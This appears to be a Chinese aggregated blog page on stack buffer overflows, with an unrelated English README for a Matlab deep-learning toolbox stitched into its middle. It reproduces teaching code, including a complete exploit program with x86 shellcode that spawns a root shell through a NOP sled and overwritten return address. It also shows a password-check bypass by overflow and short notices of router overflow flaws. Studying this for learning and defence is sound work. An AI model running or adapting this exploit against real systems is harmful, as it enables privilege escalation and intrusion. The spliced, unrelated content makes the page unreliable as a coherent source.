基于堆栈的缓冲区溢出漏洞

堆栈缓冲区溢出实验 实验二 堆栈缓冲区溢出实验 一、 实验目的  了解堆栈缓冲区溢出原理  掌握vc++6.0使用方法  熟悉堆栈缓冲区溢出防范常用的方法 二、 实验原理 堆栈的概念 堆栈是一个在计算机科学中经常使用的抽象数据类型。堆栈中的物体具有一个特性:最后一个放入堆栈中的物体总是被最先拿出来,这个特性通常称为后进先处(LIFO)队列。堆栈中定义了一些操作,两个最重要的是PUSH和POP。PUSH操作在堆栈的顶部加入一个元素。POP操作相反,在堆栈顶部移去一个元素,并将堆栈的大小减一。 堆栈缓冲区溢出原理 函数调用 阅读详情

一、通用的漏洞发掘技术

大多数程序漏洞发掘与内存破坏有关,包括常见的诸如缓冲区溢出的漏洞发掘技术,以及不常见的诸如格式化字符串的漏洞发掘技术。使用这些技术的最终目标是控制目标程序的执行流程,以欺骗程序使其运行一段偷偷植入内存的恶意代码,这称为“执行任意代码”,得名的原因是黑客可根据自己的意愿命令程序做几乎任何事情。由于存在程序不能处理的特殊意外情形,便出现了这些漏洞。通常,这些意外情形会导致程序“崩溃”,使执行流从“悬崖”滚落。但若精心控制环境,即可控制执行流,阻止崩溃,通过重新编程来操纵这个过程。

二、缓冲区溢出

        在计算机问世之初,缓冲区溢出漏洞就已经存在,并一直延续到今天。大多数 Internet蠕虫程序使用缓冲区溢出漏洞来传播,甚至Internet Explorer中的一些零日VML漏洞也是
由于缓冲区溢出造成的。
       C 语言是一种高级编程语言,但假定编程人员负责数据的完整性。如果将这种责任转移给编译器,那么编译器会检查每个变量的完整性,最后得到二进制代码将耗费相当长的时间。而且这也会使程序员失去一个重要的控制层,使C语言更加复杂。
      C语言的简单性确实增加了编程人员的控制能力,提高了最终程序的效率,但若程序员不够谨慎,这种简单性会引发程序缓冲区溢出和内存泄漏之类的漏洞。这意味着,一旦给某个变量分配存储空间,将没有内置的安全机制来确保该变量的容量能适应已分配的存储空间。如果程序员要将10个字节的数据存入只能容纳8个字节空间的缓冲区中,虽然这种操作是允许的,但这样一来,由于多出的2个字节数据会溢出,存储在已分配的存储空间之外,重写已分配存储空间之后的数据,从而导致缓冲区超限(buffer overrun)或缓冲区溢出(buffer overflow),程序很可能会崩溃。如果重写的是一段关键数据,程序必定崩溃。

实例代码:

/* overflow_example.c */

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]) {
    int value = 5;
    char buffer_one[8], buffer_two[8];

    strcpy(buffer_one, "one"); /* put "one" into buffer_one. */
    strcpy(buffer_two, "two");  /* put "two" into buffer_two. */

    printf("[BEFORE] buffer_two is at %p and contains '%s'\n", (void *)buffer_two, buffer_two);
    printf("[BEFORE] buffer_one is at %p and contains '%s'\n", (void *)buffer_one, buffer_one);
    printf("[BEFORE] value is at %p and is %d (0x%08x)\n", (void *)&value, value, value);
    
    printf("\n[STRCPY] copying %d bytes into buffer_two\n\n", (int)strlen(argv[1]));
    strcpy(buffer_two, argv[1]); /* Copy first argument into buffer_two. */

    printf("[AFTER] buffer_two is at %p and contains '%s'\n", (void *)buffer_two, buffer_two);
    printf("[AFTER] buffer_one is at %p and contains '%s'\n", (void *)buffer_one, buffer_one);
    printf("[AFTER] value is at %p and is %d (0x%08x)\n", (void *)&value, value, value);

    return 0;
}

你应当能够读懂以上源代码并理解程序的作用。在下面的示例输出中,程序编译后,我们试图从第1个命令行参数将10个字节复制到buffer_two,而给buffer_two 分配的空间只有8个字节。

reader@hacking:~/booksrc $ gcc -o overflow_example overflow_example.c
reader@hacking:~/booksrc $ ./overflow_example 1234567890
[BEFORE] buffer_two is at 0xbffff7f0 and contains 'two'
[BEFORE] buffer_one is at 0xbffff7f8 and contains 'one'
[BEFORE] value is at 0xbffff804 and is 5 (0x00000005)
[STRCPY] copying 10 bytes into buffer_two
[AFTER] buffer_two is at 0xbffff7f0 and contains '1234567890'
[AFTER] buffer_one is at 0xbffff7f8 and contains '90'
[AFTER] value is at 0xbffff804 and is 5 (0x00000005)
reader@hacking:~/booksrc $

注意,在内存中,buffer_one紧跟在buffer_two的后面。这样,将10个字节复制到buffer_two时,最后的两个字节将溢出到buffer_one中,并重写buffer_one的数据。
较大的缓冲区自然会溢入其他变量中。但若使用了一个足够大的缓冲区,程序会崩溃并终止。

reader@hacking:~/booksrc $ ./overflow_example AAAAAAAAAAAAAAAÄAAAAAAAPAAPA
[BEFORE] buffer_two is at 0xbffff7e0 and contains 'two'
[BEFORE] buffer_one is at 0xbffff7e8 and contains 'one'
[BEFORE] value is at 0xbffff7f4 and is 5 (0x00000005)
[STRCPY] copying 29 bytes into buffer_two
[AFTER] buffer_two is at 0xbffff7e0 and contains 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[AFTER] buffer_one is at 0xbffff7e8 and contains 'AAAAAAAA'
[AFTER] value is at 0xbffff7f4 and is 1094795585 (0x41414141)
Segmentation fault (core dumped)
reader@hacking:~/booksrc $

这类程序崩溃十分常见,我们都见过程序崩溃或蓝屏时刻。一个需要注意之处是编程错误,应当在代码中对长度进行检查,或对用户提供的输入进行限制。这类错误容易发生且难以消除。实际上,前面的程序notesearch.c中包含一个缓冲区溢出bug。即便是熟悉C语言的编程人员,或许到此时才能留意到这一点。

程序崩溃只是令人烦恼,但是这种权利若转移给黑客,会产生十足的危险。知识渊博的黑客可在程序崩溃时控制它,并得到一些令人意外的结果。以下的exploit_notesearch.
代码演示了这种危险。

/*exploit_notesearch.c*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char shellcode[] =
    "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80"
    "\x6a\x0b\x58\x51\x68"
    "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
    "\x51\x89\xe2\x53\x89\xe1\xcd\x80";

int main(int argc, char *argv[]) {
    unsigned int i, *ptr, ret, offset = 270;
    char *command, *buffer;

    command = (char *)malloc(200);
    bzero(command, 200); // zero out the new memory.
    strcpy(command, "./notesearch '"); // Start command buffer.
    buffer = command + strlen(command); // Set buffer at the end.

    if (argc > 1) // Set offset.
        offset = atoi(argv[1]);

    ret = (unsigned int)&i - offset; // Set return address.

    for (i = 0; i < 160; i += 4) // Fill buffer with return address.
        *((unsigned int *)(buffer + i)) = ret;

    memset(buffer, 0x90, 60); // Build NoP sled.
    memcpy(buffer + 60, shellcode, sizeof(shellcode) - 1);
    strcat(command, "'");

    system(command); // Run exploit.
    free(command);
}

它生成一个命令字符串,该字符串将会执行位于单引号之间的notesearch程序。使用字符串函数执行此操作:strlen()获取字符串的当前长度(用于定位缓冲区指针),strcat()将结束单引号连接到尾部。最后使用系统函数执行命令字符串。在单引号之间生成的缓冲区是该程序的核心。剩下的只是传递这个数据毒丸的方法。我们可以监视这个受控制的崩溃能干些什么。

漏洞发掘能利用溢出提供root shell,即完全控制计算机。这是一个基于堆栈的缓冲区溢出漏洞发掘的例子。

exploit_notesearch通过破坏内存来控制执行流程,以下的auth_overflow.c程序演示了这个概念。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int check_authentication(char *password) {
    int auth_flag = 0;
    char password_buffer[16];
    
    strcpy(password_buffer, password);
    
    if (strcmp(password_buffer, "brillig") == 0)
        auth_flag = 1;
    
    if (strcmp(password_buffer, "outgrabe") == 0)
        auth_flag = 1;
    
    return auth_flag;
}

int main(int argc, char *argv[]) {
    if (argc < 2) {
        printf("Usage: %s <password>\n", argv[0]);
        exit(0);
    }
    
    if (check_authentication(argv[1])) {
        printf("\n-=-=-=-=	=-=-=-=-=-=-=-\n");
        printf("	Access Granted.\n");
        printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
    }
    else
    {
       printf("\nAccess Denied.n");
    }
}

这个示例程序接收的唯一命令行参数是一个密码,此后调用函数check_authentication该函数允许两个密码,即允许多重身份验证方法。如果使用了两个密码中的一个,该会返回1,此后将授予访问权限。在编译代码前,可通过查看源代码推测出它的大部分能。但编译代码时,可使用-g选项,因为随后会对其进行调试。

到目前为止,一切都按源代码指明的那样工作。计算机程序本应当按确定的方式工但是,溢出会导致发生意外甚至矛盾的行为:不输入正确密码也能访问。

reader@hacking:~/booksrc s ./auth_overflowAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

-=-=-=-=-=-=-=-=-=-=-=-=-=-
     Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
reader&hacking:~/booksrc $

堆栈 cookie 检测代码检测到基于堆栈的缓冲区溢出_SEED:缓冲区溢出漏洞实验 前言:本文是基于美国雪城大学的seed实验所做的缓冲区溢出实验,笔者在进行实验的时候参考了网上已有的部分博客,但是发现存在部分细节没有详细解释,导致实验过程中难以复现上述攻击。因此重新梳理了整个实验过程,涉及原理的内容不再赘述,详见下面链接中提供的实验说明,希望对各位读者起到一定帮助。实验参考资料和实验环境下载:https://seedsecuritylabs.org/Labs_16.0... 阅读详情

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深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

最新系统漏洞--D-Link DAP-1330堆栈缓冲区溢出漏洞

最新系统漏洞2021年11月14日 受影响系统: D-Link DAP-1330 1.13B01 BETA 描述: D-Link DAP-1330是中国台湾友讯(D-Link)公司的网络设备一个WIFI设备。 D-Link DAP-1330 1.13B01 BETA在处理SOAPAction HTTP标头时存在堆栈缓冲区溢出漏洞。该漏洞源于程序在将用户输入复制到基于堆栈的固定长度缓冲区之前未对其数据长度进行正确验证。攻击者可利用该漏洞在设备上下中执行代码。 建议: 厂商补丁: D-Link 目前厂商还没有提

weixin_48555088的博客 836

c++堆栈溢出怎么解决_跟小黑学漏洞利用开发之简单的缓冲区溢出

本文章,我们将研究如何在Win32系统上利用缓冲区漏洞,完成我们的Windows漏洞利用开发,从最基础的开发开始,特别说明本篇文章中暂时不涉及DEP和ALSR等漏洞利用让技术,相关技术以后文章在专门介绍了解此类。本篇主要是给各位跟我一样喜欢漏洞利用开发的同(样爱)好,做一个开篇引导,对于某些同好可能是ta进入这个领域的第一个Exploit Dev。准备WindowsXP—Sp3(目标机)...

weixin_39574708的博客 872

Tenda FH1201路由器严重堆栈缓冲区溢出漏洞分析

CVE-2024–41465 是在 Tenda FH1201 路由器固件版本 1.2.0.14 中发现的一个关键堆栈缓冲区溢出漏洞。远程攻击者可以利用此漏洞在受影响的设备上执行任意代码。

分享技术点滴 446

缓冲区溢出漏洞(二):堆栈和溢出.

之前的文章,我们写了一个小程序,输入到mnop的时候报错了。 那么为什么name[]较短的时候没有事情,而比较大的时候就会发生羞羞的事情呢?! 这就得谈起Windows的运行机制了,分为两个概念。 第一个概念——中断 举一个日常生活中的例子来说明,假如你正在打飞机,手机响了。这时,你放下手中的飞机去接电话。通话完毕,再继续打。 这个例子就表现了中断

killcoco的小窝 983
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雨希RegenTode
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